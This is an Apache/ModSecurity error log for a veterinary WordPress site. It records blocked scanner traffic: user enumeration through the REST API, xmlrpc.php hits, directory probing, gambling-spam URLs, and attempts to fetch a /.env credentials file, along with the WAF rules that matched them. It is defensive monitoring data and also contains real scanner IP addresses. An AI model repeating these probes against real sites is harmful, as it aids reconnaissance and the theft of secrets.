[Fri Jan 30 21:09:42.188044 2026] [:error] [pid 38980:tid 39006] [client 34.73.0.144:56514] [client 34.73.0.144] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXytlrYByxUZEaKXdHqkxAAAAhM"]
[Fri Jan 30 21:09:44.484992 2026] [:error] [pid 38980:tid 38994] [client 34.73.0.144:56514] [client 34.73.0.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.0.144, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXytmLYByxUZEaKXdHqkywAAAgc"]
[Sat Jan 31 03:39:49.897952 2026] [autoindex:error] [pid 39243:tid 39298] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:39:50.021632 2026] [autoindex:error] [pid 39243:tid 39303] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:39:50.146411 2026] [autoindex:error] [pid 39243:tid 39302] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:39:50.269373 2026] [autoindex:error] [pid 39243:tid 39282] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:39:50.394103 2026] [autoindex:error] [pid 39243:tid 39283] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:06.785316 2026] [autoindex:error] [pid 39243:tid 39286] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:06.928698 2026] [autoindex:error] [pid 39243:tid 39302] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:07.061894 2026] [autoindex:error] [pid 39243:tid 39296] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:07.199909 2026] [autoindex:error] [pid 39243:tid 39283] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:07.336706 2026] [autoindex:error] [pid 39243:tid 39297] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:07.461254 2026] [autoindex:error] [pid 39243:tid 39303] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:07.585524 2026] [autoindex:error] [pid 39243:tid 39295] [client 13.75.54.243:25761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 03:40:16.412749 2026] [:error] [pid 39243:tid 39286] [client 13.75.54.243:25761] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0JIBBW1k4JK8a4v0Ya8QAAAEQ"]
[Sat Jan 31 03:40:16.884910 2026] [:error] [pid 39243:tid 39302] [client 13.75.54.243:26301] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0JIBBW1k4JK8a4v0Ya8wAAAFQ"]
[Sat Jan 31 03:40:17.359349 2026] [:error] [pid 39242:tid 39269] [client 13.75.54.243:25731] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0JIdOgXnkKGGSSCINDcAAAAA8"]
[Sat Jan 31 03:40:17.833997 2026] [:error] [pid 39244:tid 39321] [client 13.75.54.243:17019] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0JIXo-KRTvg3jHEDymlQAAAIs"]
[Sat Jan 31 06:48:11.124847 2026] [:error] [pid 52415:tid 52417] [client 49.7.227.204:34002] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aX01K5-DUxb_li2fU6IQfAAAAYA"]
[Sat Jan 31 07:54:25.273072 2026] [autoindex:error] [pid 52415:tid 52437] [client 13.75.54.243:36440] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 07:54:25.397913 2026] [autoindex:error] [pid 52415:tid 52424] [client 13.75.54.243:36440] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 07:54:25.515168 2026] [:error] [pid 52415:tid 52426] [client 13.75.54.243:36440] [client 13.75.54.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.75.54.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX1EsZ-DUxb_li2fU6IhegAAAYk"]
[Sat Jan 31 07:54:55.875233 2026] [:error] [pid 52415:tid 52433] [client 13.75.54.243:36440] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aX1Ez5-DUxb_li2fU6IhsgAAAZA"]
[Sat Jan 31 07:54:56.349472 2026] [:error] [pid 52415:tid 52427] [client 13.75.54.243:17824] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aX1E0J-DUxb_li2fU6IhtwAAAYo"]
[Sat Jan 31 07:54:56.821690 2026] [:error] [pid 52451:tid 52478] [client 13.75.54.243:28702] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aX1E0HubVy7MGYWM2NYwYQAAAdg"]
[Sat Jan 31 07:54:57.290835 2026] [:error] [pid 52520:tid 52545] [client 13.75.54.243:3305] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aX1E0WS_bInnwm0xKSq17AAAAlc"]
[Sat Jan 31 08:08:39.264582 2026] [:error] [pid 52415:tid 52430] [client 20.46.176.183:57655] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aX1IB5-DUxb_li2fU6Il5QAAAY0"]
[Sat Jan 31 08:08:39.723598 2026] [:error] [pid 52451:tid 52470] [client 20.46.176.183:59770] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aX1IB3ubVy7MGYWM2NYywQAAAdA"]
[Sat Jan 31 08:08:40.187645 2026] [:error] [pid 52415:tid 52437] [client 20.46.176.183:59716] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aX1ICJ-DUxb_li2fU6Il5wAAAZQ"]
[Sat Jan 31 08:08:40.647310 2026] [:error] [pid 52415:tid 52429] [client 20.46.176.183:64544] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aX1ICJ-DUxb_li2fU6Il6QAAAYw"]
[Sat Jan 31 09:00:59.120566 2026] [:error] [pid 39243:tid 39306] [client 43.157.142.101:35452] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aX1USxBW1k4JK8a4v0Z_KAAAAFg"]
[Sat Jan 31 11:04:44.225351 2026] [:error] [pid 52520:tid 52544] [client 141.98.11.171:48357] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aX1xTGS_bInnwm0xKSoL0QAAAlY"]
[Sat Jan 31 11:04:45.489874 2026] [:error] [pid 52451:tid 52457] [client 141.98.11.171:31007] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aX1xTXubVy7MGYWM2NZkiwAAAcM"]
[Sat Jan 31 11:57:31.115893 2026] [ssl:error] [pid 52484:tid 52492] [client 15.204.182.106:3534] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Sat Jan 31 12:51:51.480301 2026] [ssl:error] [pid 39244:tid 39327] [client 15.204.182.106:62890] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Sat Jan 31 14:20:58.315241 2026] [:error] [pid 52451:tid 52456] [client 51.68.234.121:37390] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX2fSnubVy7MGYWM2NaPJQAAAcI"]
[Sat Jan 31 14:21:00.749565 2026] [:error] [pid 39242:tid 39275] [client 51.68.234.121:43328] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX2fTNOgXnkKGGSSCIP0VwAAABU"]
[Sat Jan 31 14:21:03.128370 2026] [:error] [pid 13863:tid 13876] [client 51.68.234.121:43336] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX2fT-bxuFqFYLV42hTWpgAAAQk"]
[Sat Jan 31 14:21:05.673081 2026] [:error] [pid 20836:tid 20864] [client 51.68.234.121:55498] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX2fUYACllgWRWVrYIRoZwAAAVc"]
[Sat Jan 31 14:21:08.085968 2026] [:error] [pid 52451:tid 52461] [client 51.68.234.121:55514] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aX2fVHubVy7MGYWM2NaPMAAAAcc"]
[Sat Jan 31 14:21:10.629640 2026] [:error] [pid 39242:tid 39277] [client 51.68.234.121:55524] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX2fVtOgXnkKGGSSCIP0aAAAABc"]
[Sat Jan 31 14:21:13.039166 2026] [:error] [pid 59523:tid 59528] [client 51.68.234.121:55526] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aX2fWZEkxOIGmVhqUWI8mQAAAwE"]
[Sat Jan 31 14:21:15.541671 2026] [:error] [pid 13863:tid 13889] [client 51.68.234.121:52320] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aX2fW-bxuFqFYLV42hTWsAAAARY"]
[Sat Jan 31 14:21:18.165388 2026] [:error] [pid 59581:tid 59588] [client 51.68.234.121:52326] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX2fXrpwqlqnnPNSmoGtPQAAA4Q"]
[Sat Jan 31 14:21:20.678428 2026] [:error] [pid 39242:tid 39276] [client 51.68.234.121:52340] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX2fYNOgXnkKGGSSCIP0cwAAABY"]
[Sat Jan 31 14:21:23.235732 2026] [:error] [pid 13863:tid 13885] [client 51.68.234.121:52352] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX2fY-bxuFqFYLV42hTWtwAAARI"]
[Sat Jan 31 14:21:25.784334 2026] [:error] [pid 52451:tid 52454] [client 51.68.234.121:37240] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX2fZXubVy7MGYWM2NaPPgAAAcA"]
[Sat Jan 31 14:21:28.197211 2026] [:error] [pid 52451:tid 52464] [client 51.68.234.121:37254] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX2faHubVy7MGYWM2NaPQwAAAco"]
[Sat Jan 31 14:21:30.595039 2026] [:error] [pid 39339:tid 39355] [client 51.68.234.121:37258] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX2fasWi-IjigR3oHY4ZzAAAAM4"]
[Sat Jan 31 14:21:33.035787 2026] [:error] [pid 39242:tid 39263] [client 51.68.234.121:37268] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aX2fbdOgXnkKGGSSCIP0hAAAAAk"]
[Sat Jan 31 14:21:35.441935 2026] [:error] [pid 13863:tid 13867] [client 51.68.234.121:51996] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aX2fb-bxuFqFYLV42hTWugAAAQA"]
[Sat Jan 31 14:21:37.903076 2026] [:error] [pid 39339:tid 39345] [client 51.68.234.121:52006] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX2fccWi-IjigR3oHY4Z1AAAAMQ"]
[Sat Jan 31 14:21:40.452915 2026] [:error] [pid 13831:tid 13838] [client 51.68.234.121:52012] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX2fdJmLIgpxz320kChRgAAAAIU"]
[Sat Jan 31 14:21:43.069888 2026] [:error] [pid 8166:tid 8169] [client 51.68.234.121:52022] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX2fd1VdBgUeopOXLAfZ-wAAAEE"]
[Sat Jan 31 14:21:45.598168 2026] [:error] [pid 8166:tid 8174] [client 51.68.234.121:42166] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX2feVVdBgUeopOXLAfZ_gAAAEY"]
[Sat Jan 31 15:54:35.050607 2026] [:error] [pid 59582:tid 59635] [client 195.201.199.99:47278] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX21O45dwpvvp1Lc6f1OBQAAA9Y"]
